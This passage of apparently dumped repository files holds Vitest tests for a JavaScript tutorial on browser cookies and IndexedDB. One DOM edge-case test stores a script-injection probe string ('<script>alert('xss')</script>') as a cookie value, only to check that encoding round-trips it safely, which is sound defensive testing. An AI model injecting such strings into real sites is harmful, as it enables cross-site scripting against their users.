expect(document.cookie).toContain(\"rootToken=xyz\")\n      })\n    })\n  })\n\n  // ============================================================\n  // SECURITY ATTRIBUTES (where testable)\n  // From cookies.mdx lines 385-470\n  // ============================================================\n\n  describe('Security Attributes', () => {\n    // Note: Many security attributes can't be fully tested in jsdom\n    // These tests verify the cookie string format\n    \n    describe('SameSite attribute formatting', () => {\n      it('should format samesite=strict correctly', () => {\n        const cookieString = \"session=abc; samesite=strict\"\n        \n        expect(cookieString).toContain(\"samesite=strict\")\n      })\n\n      it('should format samesite=lax correctly', () => {\n        const cookieString = \"session=abc; samesite=lax\"\n        \n        expect(cookieString).toContain(\"samesite=lax\")\n      })\n\n      it('should format samesite=none with secure', () => {\n        const cookieString = \"widget=abc; samesite=none; secure\"\n        \n        expect(cookieString).toContain(\"samesite=none\")\n        expect(cookieString).toContain(\"secure\")\n      })\n    })\n  })\n\n  // ============================================================\n  // INTEGRATION TESTS\n  // Combined functionality from multiple sections\n  // ============================================================\n\n  describe('Integration Tests', () => {\n    it('should round-trip JSON data through cookies', () => {\n      const userData = { name: \"Alice\", role: \"admin\" }\n      const encoded = encodeURIComponent(JSON.stringify(userData))\n      \n      document.cookie = `user=${encoded}; path=/`\n      \n      // Read it back\n      function getCookie(name) {\n        const cookies = document.cookie.split(\"; \")\n        for (const cookie of cookies) {\n          const [cookieName, cookieValue] = cookie.split(\"=\")\n          if (cookieName === name) {\n            return decodeURIComponent(cookieValue)\n          }\n        }\n        return null\n      }\n      \n      const retrieved = getCookie(\"user\")\n      const parsed = JSON.parse(retrieved)\n      \n      expect(parsed).toEqual(userData)\n    })\n\n    it('should manage multiple cookies for a user session', () => {\n      // Set session cookies\n      document.cookie = \"userId=12345; path=/\"\n      document.cookie = \"theme=dark; path=/\"\n      document.cookie = \"lang=en; path=/\"\n      \n      // Read all\n      function parseCookies() {\n        return document.cookie\n          .split(\"; \")\n          .filter(Boolean)\n          .reduce((cookies, cookie) => {\n            const [name, ...valueParts] = cookie.split(\"=\")\n            const value = valueParts.join(\"=\")\n            cookies[name] = decodeURIComponent(value)\n            return cookies\n          }, {})\n      }\n      \n      const cookies = parseCookies()\n      \n      expect(cookies.userId).toBe(\"12345\")\n      expect(cookies.theme).toBe(\"dark\")\n      expect(cookies.lang).toBe(\"en\")\n      \n      // Update one\n      document.cookie = \"theme=light; path=/\"\n      \n      const updated = parseCookies()\n      expect(updated.theme).toBe(\"light\")\n      expect(updated.userId).toBe(\"12345\")  // Others unchanged\n    })\n\n    it('should handle cookie lifecycle: create, read, update, delete', () => {\n      function getCookie(name) {\n        const cookies = document.cookie.split(\"; \")\n        for (const cookie of cookies) {\n          const [cookieName, cookieValue] = cookie.split(\"=\")\n          if (cookieName === name) {\n            return decodeURIComponent(cookieValue)\n          }\n        }\n        return null\n      }\n\n      // Create\n      document.cookie = \"lifecycle=created; path=/\"\n      expect(getCookie(\"lifecycle\")).toBe(\"created\")\n      \n      // Read (tested above)\n      \n      // Update\n      document.cookie = \"lifecycle=updated; path=/\"\n      expect(getCookie(\"lifecycle\")).toBe(\"updated\")\n      \n      // Delete\n      document.cookie = \"lifecycle=; max-age=0; path=/\"\n      expect(getCookie(\"lifecycle\")).toBeNull()\n    })\n  })\n\n  // ============================================================\n  // EDGE CASES IN DOM ENVIRONMENT\n  // ============================================================\n\n  describe('DOM Edge Cases', () => {\n    it('should handle cookies with empty values', () => {\n      document.cookie = \"empty=; path=/\"\n      \n      function getCookie(name) {\n        const cookies = document.cookie.split(\"; \")\n        for (const cookie of cookies) {\n          const [cookieName, cookieValue] = cookie.split(\"=\")\n          if (cookieName === name) {\n            return cookieValue || \"\"\n          }\n        }\n        return null\n      }\n      \n      // Empty cookie might not be stored or returned as empty string\n      const value = getCookie(\"empty\")\n      expect(value === \"\" || value === null).toBe(true)\n    })\n\n    it('should handle rapid cookie updates', () => {\n      for (let i = 0; i < 10; i++) {\n        document.cookie = `counter=${i}; path=/`\n      }\n      \n      function getCookie(name) {\n        const cookies = document.cookie.split(\"; \")\n        for (const cookie of cookies) {\n          const [cookieName, cookieValue] = cookie.split(\"=\")\n          if (cookieName === name) {\n            return cookieValue\n          }\n        }\n        return null\n      }\n      \n      expect(getCookie(\"counter\")).toBe(\"9\")  // Last value\n    })\n\n    it('should handle special characters after encoding', () => {\n      const specialValue = \"test<script>alert('xss')</script>\"\n      document.cookie = `safe=${encodeURIComponent(specialValue)}; path=/`\n      \n      function getCookie(name) {\n        const cookies = document.cookie.split(\"; \")\n        for (const cookie of cookies) {\n          const [cookieName, cookieValue] = cookie.split(\"=\")\n          if (cookieName === name) {\n            return decodeURIComponent(cookieValue)\n          }\n        }\n        return null\n      }\n      \n      const retrieved = getCookie(\"safe\")\n      expect(retrieved).toBe(specialValue)\n    })\n  })\n})\n"
  },
  {
    "path": "tests/beyond/browser-storage/cookies/cookies.test.js",
    "content": "import { describe, it, expect } from 'vitest'\n\n// ============================================================\n// COOKIES CONCEPT TESTS\n// Tests for code examples from cookies.mdx\n// Note: Most cookie operations require a browser environment.\n// These tests focus on the helper functions and logic that can\n// be tested without document.cookie.\n// ============================================================\n\ndescribe('Cookies', () => {\n  // ============================================================\n  // ENCODING SPECIAL CHARACTERS\n  // From cookies.mdx lines 93-101\n  // ============================================================\n\n  describe('Encoding Special Characters', () => {\n    // From lines 93-101: encodeURIComponent for cookie values\n    it('should encode special characters in cookie values', () => {\n      const value = \"Hello, World!\"\n      const encoded = encodeURIComponent(value)\n      \n      expect(encoded).toBe(\"Hello%2C%20World!\")\n    })\n\n    it('should decode encoded cookie values', () => {\n      const encoded = \"Hello%2C%20World!\"\n      const decoded = decodeURIComponent(encoded)\n      \n      expect(decoded).toBe(\"Hello, World!\")\n    })\n\n    it('should handle values with semicolons', () => {\n      const value = \"key=value;another=test\"\n      const encoded = encodeURIComponent(value)\n      \n      expect(encoded).toBe(\"key%3Dvalue%3Banother%3Dtest\")\n      expect(decodeURIComponent(encoded)).toBe(value)\n    })\n\n    it('should handle values with spaces', () => {\n      const value = \"hello world\"\n      const encoded = encodeURIComponent(value)\n      \n      expect(encoded).toBe(\"hello%20world\")\n    })\n\n    it('should handle empty strings', () => {\n      expect(encodeURIComponent(\"\")).toBe(\"\")\n      expect(decodeURIComponent(\"\")).toBe(\"\")\n    })\n\n    it('should handle unicode characters', () => {\n      const value = \"Hello, \"\n      const encoded = encodeURIComponent(value)\n      \n      expect(encoded).not.toBe(value)\n      expect(decodeURIComponent(encoded)).toBe(value)\n    })\n  })\n\n  // ============================================================\n  // READING COOKIES - PARSER FUNCTIONS\n  // From cookies.mdx lines 106-138\n  // ============================================================\n\n  describe('Cookie Parser Functions', () => {\n    // From lines 106-117: getCookie function\n    describe('getCookie', () => {\n      function getCookie(cookieString, name) {\n        const cookies = cookieString.split(\"; \")\n        for (const cookie of cookies) {\n          const [cookieName, cookieValue] = cookie.split(\"=\")\n          if (cookieName === name) {\n            return decodeURIComponent(cookieValue)\n          }\n        }\n        return null\n      }\n\n      it('should return the value of an existing cookie', () => {\n        const cookieString = \"username=Alice; theme=dark; lang=en\"\n        \n        expect(getCookie(cookieString, \"username\")).toBe(\"Alice\")\n        expect(getCookie(cookieString, \"theme\")).toBe(\"dark\")\n        expect(getCookie(cookieString, \"lang\")).toBe(\"en\")\n      })\n\n      it('should return null for non-existent cookie', () => {\n        const cookieString = \"username=Alice; theme=dark\"\n        \n        expect(getCookie(cookieString, \"nonexistent\")).toBeNull()\n      })\n\n      it('should handle empty cookie string', () => {\n        expect(getCookie(\"\", \"username\")).toBeNull()\n      })\n\n      it('should decode encoded cookie values', () => {\n        const cookieString = \"message=Hello%2C%20World!\"\n        \n        expect(getCookie(cookieString, \"message\")).toBe(\"Hello, World!\")\n      })\n\n      it('should handle single cookie', () => {\n        const cookieString = \"only=one\"\n        \n        expect(getCookie(cookieString, \"only\")).toBe(\"one\")\n      })\n    })\n\n    // From lines 121-136: parseCookies function\n    describe('parseCookies', () => {\n      function parseCookies(cookieString) {\n        return cookieString\n          .split(\"; \")\n          .filter(Boolean)\n          .reduce((cookies, cookie) => {\n            const [name, ...valueParts] = cookie.split(\"=\")\n            const value = valueParts.join(\"=\")\n            cookies[name] = decodeURIComponent(value)\n            return cookies\n          }, {})\n      }\n\n      it('should parse multiple cookies into an object', () => {\n        const cookieString = \"username=Alice; theme=dark; lang=en\"\n        const cookies = parseCookies(cookieString)\n        \n        expect(cookies).toEqual({\n          username: \"Alice\",\n          theme: \"dark\",\n          lang: \"en\"\n        })\n      })\n\n      it('should handle empty cookie string', () => {\n        expect(parseCookies(\"\")).toEqual({})\n      })\n\n      it('should handle values containing equals signs', () => {\n        const cookieString = \"data=a=1&b=2\"\n        const cookies = parseCookies(cookieString)\n        \n        expect(cookies.data).toBe(\"a=1&b=2\")\n      })\n\n      it('should decode encoded values', () => {\n        const cookieString = \"message=Hello%2C%20World!\"\n        const cookies = parseCookies(cookieString)\n        \n        expect(cookies.message).toBe(\"Hello, World!\")\n      })\n\n      it('should handle single cookie', () => {\n        const cookieString = \"single=value\"\n        const cookies = parseCookies(cookieString)\n        \n        expect(cookies).toEqual({ single: \"value\" })\n      })\n    })\n\n    // From lines 140-147: hasCookie function\n    describe('hasCookie', () => {\n      function hasCookie(cookieString, name) {\n        return cookieString\n          .split(\"; \")\n          .some(cookie => cookie.startsWith(`${name}=`))\n      }\n\n      it('should return true if cookie exists', () => {\n        const cookieString = \"username=Alice; theme=dark\"\n        \n        expect(hasCookie(cookieString, \"username\")).toBe(true)\n        expect(hasCookie(cookieString, \"theme\")).toBe(true)\n      })\n\n      it('should return false if cookie does not exist', () => {\n        const cookieString = \"username=Alice; theme=dark\"\n        \n        expect(hasCookie(cookieString, \"nonexistent\")).toBe(false)\n      })\n\n      it('should not match partial cookie names', () => {\n        const cookieString = \"username=Alice\"\n        \n        expect(hasCookie(cookieString, \"user\")).toBe(false)\n      })\n\n      it('should handle empty cookie string', () => {\n        expect(hasCookie(\"\", \"username\")).toBe(false)\n      })\n    })\n  })\n\n  // ============================================================\n  // COOKIE STRING BUILDING\n  // From cookies.mdx lines 153-196\n  // ============================================================\n\n  describe('Cookie String Building', () => {\n    // From lines 153-196: setCookie function (without document.cookie)\n    describe('buildCookieString helper', () => {\n      function buildCookieString(name, value, options = {}) {\n        const defaults = {\n          path: \"/\",\n          secure: true,\n          sameSite: \"lax\"\n        }\n        \n        const settings = { ...defaults, ...options }\n        \n        let cookieString = `${encodeURIComponent(name)}=${encodeURIComponent(value)}`\n        \n        if (settings.maxAge !== undefined) {\n          cookieString += `; max-age=${settings.maxAge}`\n        } else if (settings.expires instanceof Date) {\n          cookieString += `; expires=${settings.expires.toUTCString()}`\n        }\n        \n        if (settings.path) {\n          cookieString += `; path=${settings.path}`\n        }\n        \n        if (settings.domain) {\n          cookieString += `; domain=${settings.domain}`\n        }\n        \n        if (settings.secure) {\n          cookieString += \"; secure\"\n        }\n        \n        if (settings.sameSite) {\n          cookieString += `; samesite=${settings.sameSite}`\n        }\n        \n        return cookieString\n      }\n\n      it('should build a basic cookie string with defaults', () => {\n        const result = buildCookieString(\"username\", \"Alice\")\n        \n        expect(result).toContain(\"username=Alice\")\n        expect(result).toContain(\"path=/\")\n        expect(result).toContain(\"secure\")\n        expect(result).toContain(\"samesite=lax\")\n      })\n\n      it('should include max-age when specified', () => {\n        const result = buildCookieString(\"token\", \"abc\", { maxAge: 86400 })\n        \n        expect(result).toContain(\"max-age=86400\")\n      })\n\n      it('should include expires date when specified', () => {\n        const expDate = new Date(\"2025-12-31T00:00:00Z\")\n        const result = buildCookieString(\"token\", \"abc\", { expires: expDate })\n        \n        expect(result).toContain(\"expires=\")\n        expect(result).toContain(\"Wed, 31 Dec 2025\")\n      })\n\n      it('should prefer max-age over expires when both provided', () => {\n        const expDate = new Date(\"2025-12-31T00:00:00Z\")\n        const result = buildCookieString(\"token\", \"abc\", { \n          maxAge: 86400, \n          expires: expDate \n        })\n        \n        expect(result).toContain(\"max-age=86400\")\n        expect(result).not.toContain(\"expires=\")\n      })\n\n      it('should include domain when specified', () => {\n        const result = buildCookieString(\"token\", \"abc\", { domain: \"example.com\" })\n        \n        expect(result).toContain(\"domain=example.com\")\n      })\n\n      it('should allow overriding path', () => {\n        const result = buildCookieString(\"token\", \"abc\", { path: \"/app\" })\n        \n        expect(result).toContain(\"path=/app\")\n        expect(result).not.toContain(\"path=/;\")\n      })\n\n      it('should omit secure flag when set to false', () => {\n        const result = buildCookieString(\"token\", \"abc\", { secure: false })\n        \n        expect(result).not.toContain(\"secure\")\n      })\n\n      it('should encode special characters in name and value', () => {\n        const result = buildCookieString(\"user name\", \"Hello, World!\")\n        \n        expect(result).toContain(\"user%20name=Hello%2C%20World!\")\n      })\n\n      it('should handle sameSite=strict', () => {\n        const result = buildCookieString(\"token\", \"abc\", { sameSite: \"strict\" })\n        \n        expect(result).toContain(\"samesite=strict\")\n      })\n\n      it('should handle sameSite=none', () => {\n        const result = buildCookieString(\"token\", \"abc\", { sameSite: \"none\" })\n        \n        expect(result).toContain(\"samesite=none\")\n      })\n\n      it('should handle deletion (max-age=0)', () => {\n        const result = buildCookieString(\"token\", \"\", { maxAge: 0 })\n        \n        expect(result).toContain(\"max-age=0\")\n      })\n    })\n  })\n\n  // ============================================================\n  // DATE FORMATTING FOR EXPIRES\n  // From cookies.mdx lines 282-301\n  // ============================================================\n\n  describe('Expiration Date Handling', () => {\n    // From lines 282-301: expires date formatting\n    it('should format date correctly for cookies', () => {\n      const date = new Date(\"2025-01-15T12:00:00Z\")\n      const formatted = date.toUTCString()\n      \n      expect(formatted).toBe(\"Wed, 15 Jan 2025 12:00:00 GMT\")\n    })\n\n    it('should calculate date 7 days from now', () => {\n      const now = new Date(\"2025-01-01T00:00:00Z\")\n      const sevenDaysLater = new Date(now.getTime() + 7 * 24 * 60 * 60 * 1000)\n      \n      expect(sevenDaysLater.toISOString()).toBe(\"2025-01-08T00:00:00.000Z\")\n    })\n\n    it('should handle past dates for deletion', () => {\n      const pastDate = new Date(\"1970-01-01T00:00:00Z\")\n      const formatted = pastDate.toUTCString()\n      \n      expect(formatted).toBe(\"Thu, 01 Jan 1970 00:00:00 GMT\")\n    })\n\n    it('should calculate max-age in seconds', () => {\n      const oneHour = 60 * 60        // 3600 seconds\n      const oneDay = 24 * 60 * 60    // 86400 seconds\n      const oneWeek = 7 * 24 * 60 * 60  // 604800 seconds\n      const oneYear = 365 * 24 * 60 * 60  // 31536000 seconds\n      \n      expect(oneHour).toBe(3600)\n      expect(oneDay).toBe(86400)\n      expect(oneWeek).toBe(604800)\n      expect(oneYear).toBe(31536000)\n    })\n  })\n\n  // ============================================================\n  // PATH MATCHING LOGIC\n  // From cookies.mdx lines 315-340\n  // ============================================================\n\n  describe('Path Matching', () => {\n    // From lines 315-340: Path attribute behavior\n    function pathMatches(cookiePath, requestPath) {\n      // Normalize paths\n      if (!cookiePath.endsWith('/')) {\n        cookiePath = cookiePath + '/'\n      }\n      if (!requestPath.endsWith('/')) {\n        requestPath = requestPath + '/'\n      }\n      \n      return requestPath.startsWith(cookiePath)\n    }\n\n    it('should match exact path', () => {\n      expect(pathMatches(\"/app\", \"/app\")).toBe(true)\n      expect(pathMatches(\"/app\", \"/app/\")).toBe(true)\n    })\n\n    it('should match subpaths', () => {\n      expect(pathMatches(\"/app\", \"/app/dashboard\")).toBe(true)\n      expect(pathMatches(\"/app\", \"/app/settings\")).toBe(true)\n      expect(pathMatches(\"/app\", \"/app/users/123\")).toBe(true)\n    })\n\n    it('should not match different paths', () => {\n      expect(pathMatches(\"/app\", \"/about\")).toBe(false)\n      expect(pathMatches(\"/app\", \"/\")).toBe(false)\n    })\n\n    it('should not match partial path names', () => {\n      // /application is NOT a subpath of /app\n      expect(pathMatches(\"/app\", \"/application\")).toBe(false)\n    })\n\n    it('should match root path to all paths', () => {\n      expect(pathMatches(\"/\", \"/\")).toBe(true)\n      expect(pathMatches(\"/\", \"/app\")).toBe(true)\n      expect(pathMatches(\"/\", \"/app/dashboard\")).toBe(true)\n    })\n  })\n\n  // ============================================================\n  // JSON STORAGE IN COOKIES\n  // From cookies.mdx lines 189-191\n  // ============================================================\n\n  describe('JSON Storage in Cookies', () => {\n    // From lines 189-191: Storing objects as JSON\n    it('should stringify objects for cookie storage', () => {\n      const preferences = { theme: \"dark\", fontSize: 14 }\n      const encoded = encodeURIComponent(JSON.stringify(preferences))\n      \n      expect(typeof encoded).toBe(\"string\")\n      expect(encoded).not.toContain(\"{\")  // Should be encoded\n    })\n\n    it('should parse JSON from cookie value', () => {\n      const encoded = \"%7B%22theme%22%3A%22dark%22%2C%22fontSize%22%3A14%7D\"\n      const decoded = decodeURIComponent(encoded)\n      const parsed = JSON.parse(decoded)\n      \n      expect(parsed).toEqual({ theme: \"dark\", fontSize: 14 })\n    })\n\n    it('should handle arrays in JSON', () => {\n      const items = [1, 2, 3]\n      const encoded = encodeURIComponent(JSON.stringify(items))\n      const decoded = JSON.parse(decodeURIComponent(encoded))\n      \n      expect(decoded).toEqual([1, 2, 3])\n    })\n\n    it('should handle nested objects', () => {\n      const data = {\n        user: { name: \"Alice\", age: 30 },\n        settings: { darkMode: true }\n      }\n      const encoded = encodeURIComponent(JSON.stringify(data))\n      const decoded = JSON.parse(decodeURIComponent(encoded))\n      \n      expect(decoded).toEqual(data)\n    })\n  })\n\n  // ============================================================\n  // COOKIE SIZE LIMITS\n  // From cookies.mdx lines 553-558\n  // ============================================================\n\n  describe('Cookie Size Considerations', () => {\n    // From lines 553-558: 4KB limit\n    it('should demonstrate 4KB is approximately 4096 bytes', () => {\n      const fourKB = 4 * 1024\n      \n      expect(fourKB).toBe(4096)\n    })\n\n    it('should calculate string byte size', () => {\n      // Note: This is simplified - actual byte count varies with encoding\n      const str = \"a\".repeat(4096)\n      \n      expect(str.length).toBe(4096)\n    })\n\n    it('should show encoding increases size', () => {\n      const original = \"Hello, World!\"\n      const encoded = encodeURIComponent(original)\n      \n      expect(encoded.length).toBeGreaterThan(original.length)\n    })\n  })\n\n  // ============================================================\n  // COMMON MISTAKES TESTS\n  // From cookies.mdx lines 502-560\n  // ============================================================\n\n  describe('Common Mistakes', () => {\n    // From lines 505-511: Forgetting to encode values\n    describe('Encoding mistakes', () => {\n      it('should demonstrate that spaces need encoding', () => {\n        const value = \"search term with spaces\"\n        const encoded = encodeURIComponent(value)\n        \n        expect(encoded).not.toContain(\" \")\n        expect(encoded).toBe(\"search%20term%20with%20spaces\")\n      })\n\n      it('should demonstrate that semicolons need encoding', () => {\n        const value = \"key=value; other=test\"\n        const encoded = encodeURIComponent(value)\n        \n        expect(encoded).not.toContain(\";\")\n      })\n    })\n\n    // From lines 513-523: Wrong path when deleting\n    describe('Path matching for deletion', () => {\n      it('should require matching path to delete', () => {\n        // This tests the concept - actual deletion requires document.cookie\n        const originalPath = \"/app\"\n        const deletePath = \"/\"\n        \n        expect(originalPath).not.toBe(deletePath)\n        // In practice, these would need to match for deletion to work\n      })\n    })\n  })\n\n  // ============================================================\n  // TEST YOUR KNOWLEDGE - VERIFICATION TESTS\n  // From cookies.mdx lines 601-680\n  // ============================================================\n\n  describe('Test Your Knowledge Verification', () => {\n    // Question 1: Session vs persistent cookies\n    describe('Session vs Persistent Cookies', () => {\n      it('should understand session cookies have no expiration', () => {\n        const sessionCookie = \"tempId=abc\"\n        const persistentCookie = \"remember=true; max-age=604800\"\n        \n        expect(sessionCookie).not.toContain(\"max-age\")\n        expect(sessionCookie).not.toContain(\"expires\")\n        expect(persistentCookie).toContain(\"max-age\")\n      })\n    })\n\n    // Question 4: Deleting cookies\n    describe('Cookie Deletion', () => {\n      it('should understand max-age=0 deletes cookies', () => {\n        const deleteCookieString = \"username=; max-age=0; path=/\"\n        \n        expect(deleteCookieString).toContain(\"max-age=0\")\n      })\n\n      it('should understand past date deletes cookies', () => {\n        const deleteCookieString = \"username=; expires=Thu, 01 Jan 1970 00:00:00 GMT; path=/\"\n        \n        expect(deleteCookieString).toContain(\"1970\")\n      })\n    })\n  })\n\n  // ============================================================\n  // EDGE CASES\n  // ============================================================\n\n  describe('Edge Cases', () => {\n    it('should handle cookie names with numbers', () => {\n      const cookieString = \"user123=value\"\n      \n      function getCookie(cookieString, name) {\n        const cookies = cookieString.split(\"; \")\n        for (const cookie of cookies) {\n          const [cookieName, cookieValue] = cookie.split(\"=\")\n          if (cookieName === name) {\n            return decodeURIComponent(cookieValue)\n          }\n        }\n        return null\n      }\n      \n      expect(getCookie(cookieString, \"user123\")).toBe(\"value\")\n    })\n\n    it('should handle empty cookie values', () => {\n      const cookieString = \"empty=; other=value\"\n      \n      function parseCookies(cookieString) {\n        return cookieString\n          .split(\"; \")\n          .filter(Boolean)\n          .reduce((cookies, cookie) => {\n            const [name, ...valueParts] = cookie.split(\"=\")\n            const value = valueParts.join(\"=\")\n            cookies[name] = decodeURIComponent(value)\n            return cookies\n          }, {})\n      }\n      \n      const cookies = parseCookies(cookieString)\n      expect(cookies.empty).toBe(\"\")\n      expect(cookies.other).toBe(\"value\")\n    })\n\n    it('should handle very long cookie values', () => {\n      const longValue = \"a\".repeat(3000)\n      const encoded = encodeURIComponent(longValue)\n      \n      expect(encoded.length).toBe(3000)  // ASCII doesn't expand\n    })\n\n    it('should handle special characters in cookie names', () => {\n      // Cookie names should be alphanumeric + some special chars\n      const validName = \"my_cookie-name\"\n      const encoded = encodeURIComponent(validName)\n      \n      // Underscores and hyphens don't need encoding\n      expect(encoded).toBe(validName)\n    })\n  })\n})\n"
  },
  {
    "path": "tests/beyond/browser-storage/indexeddb/indexeddb.test.js",
    "content": "import { describe, it, expect, vi, beforeEach, afterEach } from 'vitest'\n\ndescribe('IndexedDB', () => {\n  // ============================================================\n  // UTILITY FUNCTIONS - PROMISIFY PATTERN\n  // From indexeddb.mdx lines 359-389\n  // ============================================================\n\n  describe('Promise Wrapper Utilities', () => {\n    // From lines 366-371: promisifyRequest helper function\n    describe('promisifyRequest', () => {\n      it('should resolve with the result on success', async () => {\n        function promisifyRequest(request) {\n          return new Promise((resolve, reject) => {\n            request.onsuccess = () => resolve(request.result)\n            request.onerror = () => reject(request.error)\n          })\n        }\n\n        // Mock an IDBRequest-like object\n        const mockRequest = {\n          result: 'test-data',\n          onsuccess: null,\n          onerror: null\n        }\n\n        const promise = promisifyRequest(mockRequest)\n        \n        // Trigger success\n        mockRequest.onsuccess()\n        \n        const result = await promise\n        expect(result).toBe('test-data')\n      })\n\n      it('should reject with error on failure', async () => {\n        function promisifyRequest(request) {\n          return new Promise((resolve, reject) => {\n            request.onsuccess = () => resolve(request.result)\n            request.onerror = () => reject(request.error)\n          })\n        }\n\n        const mockError = new Error('Database error')\n        const mockRequest = {\n          result: null,\n          error: mockError,\n          onsuccess: null,\n          onerror: null\n        }\n\n        const promise = promisifyRequest(mockRequest)\n        \n        // Trigger error\n        mockRequest.onerror()\n        \n        await expect(promise).rejects.toThrow('Database error')\n      })\n    })\n\n    // From lines 374-383: openDatabase helper function\n    describe('openDatabase', () => {\n      it('should resolve with db on success and call onUpgrade', async () => {\n        function openDatabase(name, version, onUpgrade) {\n          return new Promise((resolve, reject) => {\n            // Simulate the IndexedDB open behavior\n            const mockDb = { name, version, objectStoreNames: { contains: () => false } }\n            const request = {\n              result: mockDb,\n              onupgradeneeded: null,\n              onsuccess: null,\n              onerror: null\n            }\n            \n            // Simulate upgrade needed\n            setTimeout(() => {\n              if (request.onupgradeneeded) {\n                request.onupgradeneeded({ target: { result: mockDb } })\n              }\n              if (request.onsuccess) {\n                request.onsuccess()\n              }\n            }, 0)\n            \n            request.onupgradeneeded = (event) => onUpgrade(event.target.result)\n            request.onsuccess = () => resolve(request.result)\n            request.onerror = () => reject(request.error)\n          })\n        }\n\n        let upgradeCalled = false\n        const db = await openDatabase('TestDB', 1, (db) => {\n          upgradeCalled = true\n          expect(db.name).toBe('TestDB')\n        })\n\n        expect(db.name).toBe('TestDB')\n        expect(db.version).toBe(1)\n        expect(upgradeCalled).toBe(true)\n      })\n    })\n  })\n\n  // ============================================================\n  // KEY RANGE UTILITIES\n  // From indexeddb.mdx lines 296-310\n  // ============================================================\n\n  describe('IDBKeyRange Patterns', () => {\n    // Simulated IDBKeyRange for testing purposes\n    const IDBKeyRange = {\n      only: (value) => ({ type: 'only', value }),\n      lowerBound: (value, open = false) => ({ type: 'lowerBound', value, open }),\n      upperBound: (value, open = false) => ({ type: 'upperBound', value, open }),\n      bound: (lower, upper, lowerOpen = false, upperOpen = false) => ({\n        type: 'bound',\n        lower,\n        upper,\n        lowerOpen,\n        upperOpen\n      })\n    }\n\n    it('should create only range for exact match', () => {\n      const range = IDBKeyRange.only(5)\n      expect(range.type).toBe('only')\n      expect(range.value).toBe(5)\n    })\n\n    it('should create lowerBound range (inclusive by default)', () => {\n      const range = IDBKeyRange.lowerBound(5)\n      expect(range.type).toBe('lowerBound')\n      expect(range.value).toBe(5)\n      expect(range.open).toBe(false)\n    })\n\n    it('should create lowerBound range (exclusive)', () => {\n      const range = IDBKeyRange.lowerBound(5, true)\n      expect(range.type).toBe('lowerBound')\n      expect(range.value).toBe(5)\n      expect(range.open).toBe(true)\n    })\n\n    it('should create upperBound range (inclusive by default)', () => {\n      const range = IDBKeyRange.upperBound(10)\n      expect(range.type).toBe('upperBound')\n      expect(range.value).toBe(10)\n      expect(range.open).toBe(false)\n    })\n\n    it('should create bound range with both bounds', () => {\n      const range = IDBKeyRange.bound(5, 10)\n      expect(range.type).toBe('bound')\n      expect(range.lower).toBe(5)\n      expect(range.upper).toBe(10)\n      expect(range.lowerOpen).toBe(false)\n      expect(range.upperOpen).toBe(false)\n    })\n\n    it('should create bound range with open bounds', () => {\n      const range = IDBKeyRange.bound(5, 10, true, false)\n      expect(range.type).toBe('bound')\n      expect(range.lower).toBe(5)\n      expect(range.upper).toBe(10)\n      expect(range.lowerOpen).toBe(true)\n      expect(range.upperOpen).toBe(false)\n    })\n  })\n\n  // ============================================================\n  // DATABASE HELPER CLASS PATTERN\n  // From indexeddb.mdx lines 440-478\n  // ============================================================\n\n  describe('UserDatabase Helper Class Pattern', () => {\n    // From lines 440-478: UserDatabase class implementation\n    it('should demonstrate the helper class pattern', () => {\n      // Mock database object for testing the pattern\n      const mockStore = new Map()\n      \n      class UserDatabase {\n        constructor() {\n          this.store = mockStore\n        }\n\n        async add(user) {\n          if (this.store.has(user.id)) {\n            throw new Error('User already exists')\n          }\n          this.store.set(user.id, user)\n          return user.id\n        }\n\n        async get(id) {\n          return this.store.get(id)\n        }\n\n        async getByEmail(email) {\n          for (const user of this.store.values()) {\n            if (user.email === email) return user\n          }\n          return undefined\n        }\n\n        async update(user) {\n          this.store.set(user.id, user)\n          return user.id\n        }\n\n        async delete(id) {\n          this.store.delete(id)\n        }\n\n        async getAll() {\n          return Array.from(this.store.values())\n        }\n      }\n\n      const users = new UserDatabase()\n      \n      // Verify the class has the expected methods\n      expect(typeof users.add).toBe('function')\n      expect(typeof users.get).toBe('function')\n      expect(typeof users.getByEmail).toBe('function')\n      expect(typeof users.update).toBe('function')\n      expect(typeof users.delete).toBe('function')\n      expect(typeof users.getAll).toBe('function')\n    })\n\n    it('should perform CRUD operations correctly', async () => {\n      const mockStore = new Map()\n      \n      class UserDatabase {\n        constructor() {\n          this.store = mockStore\n        }\n\n        async add(user) {\n          if (this.store.has(user.id)) {\n            throw new Error('User already exists')\n          }\n          this.store.set(user.id, user)\n          return user.id\n        }\n\n        async get(id) {\n          return this.store.get(id)\n        }\n\n        async getByEmail(email) {\n          for (const user of this.store.values()) {\n            if (user.email === email) return user\n          }\n          return undefined\n        }\n\n        async update(user) {\n          this.store.set(user.id, user)\n          return user.id\n        }\n\n        async delete(id) {\n          this.store.delete(id)\n        }\n\n        async getAll() {\n          return Array.from(this.store.values())\n        }\n      }\n\n      const users = new UserDatabase()\n      \n      // Add\n      await users.add({ id: 1, name: 'Alice', email: 'alice@example.com' })\n      expect(await users.get(1)).toEqual({ id: 1, name: 'Alice', email: 'alice@example.com' })\n      \n      // Get by email\n      const alice = await users.getByEmail('alice@example.com')\n      expect(alice.name).toBe('Alice')\n      \n      // Update\n      await users.update({ id: 1, name: 'Alice Updated', email: 'alice@example.com' })\n      expect((await users.get(1)).name).toBe('Alice Updated')\n      \n      // Get all\n      await users.add({ id: 2, name: 'Bob', email: 'bob@example.com' })\n      const allUsers = await users.getAll()\n      expect(allUsers).toHaveLength(2)\n      \n      // Delete\n      await users.delete(1)\n      expect(await users.get(1)).toBeUndefined()\n    })\n  })\n\n  // ============================================================\n  // SYNC QUEUE PATTERN\n  // From indexeddb.mdx lines 410-433\n  // ============================================================\n\n  describe('Sync Queue Pattern', () => {\n    // From lines 410-433: Offline sync queue pattern\n    it('should queue actions for later sync', async () => {\n      const syncQueue = []\n      \n      async function queueAction(action) {\n        syncQueue.push({\n          action,\n          timestamp: Date.now(),\n          status: 'pending'\n        })\n      }\n\n      await queueAction({ type: 'CREATE_POST', data: { title: 'Hello' } })\n      await queueAction({ type: 'UPDATE_USER', data: { name: 'Alice' } })\n\n      expect(syncQueue).toHaveLength(2)\n      expect(syncQueue[0].action.type).toBe('CREATE_POST')\n      expect(syncQueue[0].status).toBe('pending')\n      expect(syncQueue[1].action.type).toBe('UPDATE_USER')\n    })\n\n    it('should filter pending actions for sync', async () => {\n      const syncQueue = [\n        { id: 1, action: { type: 'A' }, status: 'pending' },\n        { id: 2, action: { type: 'B' }, status: 'synced' },\n        { id: 3, action: { type: 'C' }, status: 'pending' }\n      ]\n\n      const pending = syncQueue.filter(item => item.status === 'pending')\n      \n      expect(pending).toHaveLength(2)\n      expect(pending[0].action.type).toBe('A')\n      